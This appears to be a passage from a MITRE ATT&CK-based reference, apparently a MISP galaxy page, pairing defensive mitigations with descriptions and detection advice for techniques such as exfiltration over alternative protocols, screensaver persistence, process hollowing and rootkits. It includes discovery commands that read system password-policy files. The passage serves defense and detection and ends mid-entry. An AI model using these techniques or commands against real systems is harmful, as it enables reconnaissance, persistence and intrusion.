Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Setuid and Setgid Mitigation
Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised.
Clear Command History Mitigation
- Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their <code>~/.bash_history</code> files. Additionally, making these environment variables readonly can make sure that the history is preserved [[CiteRef
-
Securing bash history]].
Screen Capture Mitigation
Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Windows Admin Shares Mitigation
Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.
Identify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Space after Filename Mitigation
Prevent files from having a trailing space after the extension.
Modify Existing Service Mitigation
Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for [[Privilege Escalation]] weaknesses.
Identify and block potentially malicious software that may be executed through service abuse by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown programs.
Third-party Software Mitigation
Evaluate the security of third-party software that could be used to deploy or execute programs. Ensure that access to management systems for deployment systems is limited, monitored, and secure. Have a strict approval policy for use of deployment systems.
Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [[Technique/T1068|Exploitation of Vulnerability]].
If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.
Video Capture Mitigation
Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.
Identify and block potentially malicious software that may be used to capture video and images by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Install Root Certificate Mitigation
HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate.[[CiteRef::Wikipedia HPKP]]
Brute Force Mitigation
Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Use multifactor authentication. Follow best practices for mitigating access to [[Technique/T1078|Valid Accounts]]
Email Collection Mitigation
Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.
Use of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.
Identify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Exploitation of Vulnerability Mitigation
Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, virtualization, and exploit prevention tools such as the Microsoft Enhanced Mitigation Experience Toolkit.[[CiteRef::SRD EMET]]
Remote File Copy Mitigation
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]
Exfiltration Over Alternative Protocol Mitigation
Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network. For example, if services like FTP are not required for sending information outside of a network, then block FTP-related ports at the network perimeter. Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network.[[CiteRef::TechNet Firewall Design]] These actions will help reduce command and control and exfiltration path opportunities.
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]
Remote Desktop Protocol Mitigation
Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins.[[CiteRef::Berkley Secure]]
Web Service Mitigation
Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]
Network Service Scanning Mitigation
Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Keychain Mitigation
The password for the user’s login keychain can be changed from the user’s login password. This increases the complexity for an adversary because they need to know an additional password.
Windows Management Instrumentation Event Subscription Mitigation
Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts.[[CiteRef::FireEye WMI 2015]]
Data from Local System Mitigation
Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Custom Cryptographic Protocol Mitigation
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]
Create Account Mitigation
Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to [[Technique/T1078|Valid Accounts]] that may be used to create privileged accounts within an environment.
Adversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.
Protect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.
Dylib Hijacking Mitigation
Prevent users from being able to write files to the search paths for applications - both in the folders where applications are run from and the standard dylib folders. If users can’t write to these directories, then they can’t intercept the search path.
Credentials in Files Mitigation
Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences.[[CiteRef::Microsoft MS14-025]]
Re-opened Applications Mitigation
Holding the Shift key while logging in prevents apps from opening automatically[[CiteRef::Re-Open windows on Mac]]. This feature can be disabled entirely with the following terminal command: <code>defaults write -g ApplePersistence -bool no</code>.
Permission Groups Discovery Mitigation
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Logon Scripts Mitigation
Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating [[Credential Access]] techniques and limiting account access and permissions of [[Technique/T1078|Valid Accounts]].
Identify and block potentially malicious software that may be executed through logon script modification by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown programs.
Code Signing Mitigation
Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system.[[CiteRef::NSA MS AppLocker]][[CiteRef::TechNet Trusted Publishers]][[CiteRef::Securelist Digital Certificates]]
Gatekeeper Bypass Mitigation
Other tools should be used to supplement Gatekeeper’s functionality. Additionally, system settings can prevent applications from running that haven’t been downloaded through the Apple Store which can help mitigate some of these issues.
Windows Remote Management Mitigation
Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices.[[CiteRef::NSA Spotting]]
Web Shell Mitigation
Ensure that externally facing Web servers are patched regularly to prevent adversary access through [[Technique/T1068|Exploitation of Vulnerability]] to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages.
Audit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through [[Credential Access]] and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network.[[CiteRef::US-CERT Alert TA15-314A Web Shells]]
Data Obfuscation Mitigation
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]
Software Packing Mitigation
Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.
Identify and prevent execution of potentially malicious software that may have been packed by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Security Software Discovery Mitigation
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]
Enterprise Attack - Attack Pattern
ATT&CK tactic.
Enterprise Attack - Attack Pattern is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
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MITRE
Exfiltration Over Alternative Protocol - T1048
Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage.
Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
Platforms: Linux, macOS, Windows
Data Sources: User interface, Process monitoring, Process use of network, Packet capture, Netflow/Enclave netflow, Network protocol analysis
Requires Network: Yes
Links |
Standard Application Layer Protocol - T1071
Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.
Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used. (Citation: University of Birmingham C2)
Platforms: Linux, macOS, Windows
Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring
Requires Network: Yes
Links |
Communication Through Removable Media - T1092
Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by Replication Through Removable Media. Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.
Detection: Monitor file access on removable media. Detect processes that execute when removable media is mounted.
Platforms: Linux, macOS, Windows
Data Sources: File monitoring, Data loss prevention
Requires Network: No
Links |
Data from Information Repositories - T1213
Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.
The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:
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Policies, procedures, and standards
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Physical / logical network diagrams
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System architecture diagrams
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Technical system documentation
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Testing / development credentials
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Work / project schedules
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Source code snippets
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Links to network shares and other internal resources
Common information repositories:
===Microsoft SharePoint=== Found in many enterprise networks and often used to store and share significant amounts of documentation.
===Atlassian Confluence=== Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation.
Detection: As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.
The user access logging within Microsoft’s SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) The user user access logging within Atlassian’s Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.
Platforms: Linux, Windows, macOS
Data Sources: Application Logs, Authentication logs, Data loss prevention, Third-party application logs
Permissions Required: User
Contributors: Milos Stojadinovic
Links |
https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html |
Screensaver - T1180
Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension. (Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.exe is located in <code>C:\Windows\System32\</code> along with screensavers included with base Windows installations. The following screensaver settings are stored in the Registry (<code>HKCU\Control Panel\Desktop\</code>) and could be manipulated to achieve persistence:
*<code>SCRNSAVE.exe</code> - set to malicious PE path *<code>ScreenSaveActive</code> - set to '1' to enable the screensaver *<code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock *<code>ScreenSaverTimeout</code> - sets user inactivity timeout before screensaver is executed
Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)
Detection: Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.
Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.
Platforms: Windows
Data Sources: Process Monitoring, Process command-line parameters, Windows Registry, File monitoring
Permissions Required: User
Contributors: Bartosz Jerzman
Links |
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf |
Password Policy Discovery - T1201
Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through Brute Force. An adversary may attempt to access detailed information about the password policy used within an enterprise network. This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).
Password policies can be set and discovered on Windows, Linux, and macOS systems. (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)
===Windows=== * <code>net accounts</code> * <code>net accounts /domain</code>
===Linux=== * <code>chage -l <username></code> * <code>cat /etc/pam.d/common-password</code>
===macOS=== * <code>pwpolicy getaccountpolicies</code>
Detection: Monitor processes for tools and command line arguments that may indicate they’re being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.
Platforms: Linux, Windows, macOS
Data Sources: Process command-line parameters, Process Monitoring
Permissions Required: User
Contributors: Sudhanshu Chauhan, @Sudhanshu_C
Custom Command and Control Protocol - T1094
Adversaries may communicate using a custom command and control protocol instead of using existing Standard Application Layer Protocol to encapsulate commands. Implementations could mimic well-known protocols.
Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
Platforms: Linux, macOS, Windows
Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring
Requires Network: Yes
Links |
File System Permissions Weakness - T1044
Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
===Services===
Manipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.
===Executable Installers===
Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)
Detection: Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.
Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.
Platforms: Windows
Data Sources: File monitoring, Process command-line parameters, Services
Effective Permissions: User, Administrator, SYSTEM
Permissions Required: User, Administrator
Contributors: Stefan Kanthak, Travis Smith, Tripwire
Links |
https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/ |
Process Hollowing - T1093
Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to Process Injection, execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Engame Process Injection July 2017)
Detection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls that unmap process memory, such as ZwUnmapViewOfSection or NtUnmapViewOfSection, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Engame Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.
Platforms: Windows
Data Sources: Process monitoring, API monitoring
Defense Bypassed: Process whitelisting, Anti-virus, Whitelisting by file name or path, Signature-based detection
Permissions Required: User
Links |
Scripting - T1064
Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.
Scripts can be embedded inside Office documents as macros that can be set to execute when files used in Spearphishing Attachment and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through Exploitation for Client Execution, where adversaries will rely on macos being allowed or that the user will accept to activate them.
Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. (Citation: Metasploit) (Citation: Metasploit), (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)
Detection: Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.
Analyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as word.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)
Platforms: Linux, macOS, Windows
Data Sources: Process monitoring, File monitoring, Process command-line parameters
Defense Bypassed: Process whitelisting, Data Execution Prevention, Exploit Prevention
Permissions Required: User
Links |
https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/ |
https://www.uperesia.com/analyzing-malicious-office-documents |
AppleScript - T1155
macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the <code>osalang</code> program. AppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.
Adversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they’re already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command lie via <code>osascript /path/to/script</code> or <code>osascript -e "script here"</code>.
Detection: Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.
Platforms: macOS
Data Sources: API monitoring, System calls, Process Monitoring, Process command-line parameters
Permissions Required: User
Remote Support: Yes
Links |
https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/ |
Data from Removable Media - T1025
Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration.
Adversaries may search connected removable media on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within cmd may be used to gather information. Some adversaries may also use Automated Collection on removable media.
Detection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system’s connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Linux, macOS, Windows
Data Sources: File monitoring, Process monitoring, Process command-line parameters
System Requirements: Privileges to access removable media drive and files
Links |
Code Signing - T1116
Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)
Code signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)
Code signing certificates may be used to bypass security policies that require signed code to execute on a system.
Detection: Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.
Platforms: Windows, macOS
Data Sources: Binary file metadata
Defense Bypassed: Windows User Account Control
Links |
http://www.thesafemac.com/new-signed-malware-called-janicab/ |
http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates |
AppCert DLLs - T1182
Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions: (Citation: Engame Process Injection July 2017) *CreateProcess *CreateProcessAsUser *CreateProcessWithLoginW *CreateProcessWithTokenW *WinExec Similar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.
Detection: Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017)
Tools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)
Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.
Platforms: Windows
Data Sources: Loaded DLLs, Process Monitoring, Windows Registry
Effective Permissions: Administrator, SYSTEM
Permissions Required: Administrator, SYSTEM
Links |
https://forum.sysinternals.com/appcertdlls%20topic12546.html |
Rootkit - T1014
Rootkits are programs that hide the existence of malware by intercepting (i.e., Hooking) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a Hypervisor, Master Boot Record, or the System Firmware. (Citation: Wikipedia Rootkit)
Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)
Detection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)
Platforms: Linux, macOS, Windows
Data Sources: BIOS, MBR, System calls
Defense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Process whitelisting, Signature-based detection, System access controls, Whitelisting by file name or path
Permissions Required: Administrator, SYSTEM, root
Links |
https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf |
https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ |
Login Item - T1162
